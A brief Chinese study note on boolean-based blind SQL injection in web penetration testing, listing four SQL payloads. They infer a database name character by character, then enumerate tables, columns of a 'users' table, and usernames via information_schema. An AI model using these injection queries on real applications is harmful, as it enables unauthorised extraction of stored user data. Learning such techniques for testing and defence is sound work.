web渗透—— 基于布尔类型的盲注

0x00 前言

之前学习了。

0x01 知识点

1.盲注的基本实现

ascii(substr(database(),1,1))>100

2.盲注获取表

select table_name from information_schema.tables where table_schema=database() limit 0,1

3.盲注列名

select column_name from information_schema.columns where table_name='users' limit 1,1

4.盲注具体信息

select username from users limit 2,1